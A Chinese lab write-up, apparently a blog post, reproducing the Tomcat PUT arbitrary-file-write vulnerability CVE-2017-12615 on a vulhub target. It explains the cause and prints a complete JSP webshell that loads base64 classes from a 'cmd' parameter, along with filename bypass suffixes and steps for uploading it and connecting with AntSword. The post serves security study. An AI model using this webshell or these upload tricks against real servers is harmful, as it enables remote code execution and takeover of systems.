Tomcat PUT方法任意写文件(CVE-2017- 12615)漏洞复现

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

漏洞简介

CVE-2017-12615是Apache Tomcat的一个远程代码执行漏洞。该漏洞影响Apache Tomcat 7.0.0至7.0.79版本(7.0.81修复不完全)。

漏洞原理

Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。


conf/web.xml中发现,默认配置readonly参数为true(默认值),即不允许DELETE和PUT操作。一般开发过程都会开启此配置,如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。

将 readonly 参数为false,既可通过PUT方式上传jsp文件,并通过其执行远程代码,通过 PUT / DELETE 进行文件操控。

漏洞复现

1.搭建基础环境(使用ubantu搭建的vulhub靶场)

docker-compose build

docker-compose up -d

2.查看搭建环境

docker ps

3.使用攻击机访问靶机(靶机ip+:8080)

4.打开BurpSuite,刷新页面进行抓包

5.修改请求头,构造木马POC,通过Burp Suite改包,将请求方法改成PUT,添加文件名shell.jsp/(注意后面要添加/,主要就是绕过文件上传限制)

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("cmd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

5.1.其他绕过方式

文件名后缀加::$DATA
上传文件后缀名加上%20
上传文件名后缀加上.

6.确认文件是否存在,不存在将会报错。

7.利用蚁剑直接连接

8.连接成功。命令执行成功。

9.实验结束,关闭环境

docker-compose down

漏洞防御

readonly=true ,默认为 true

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值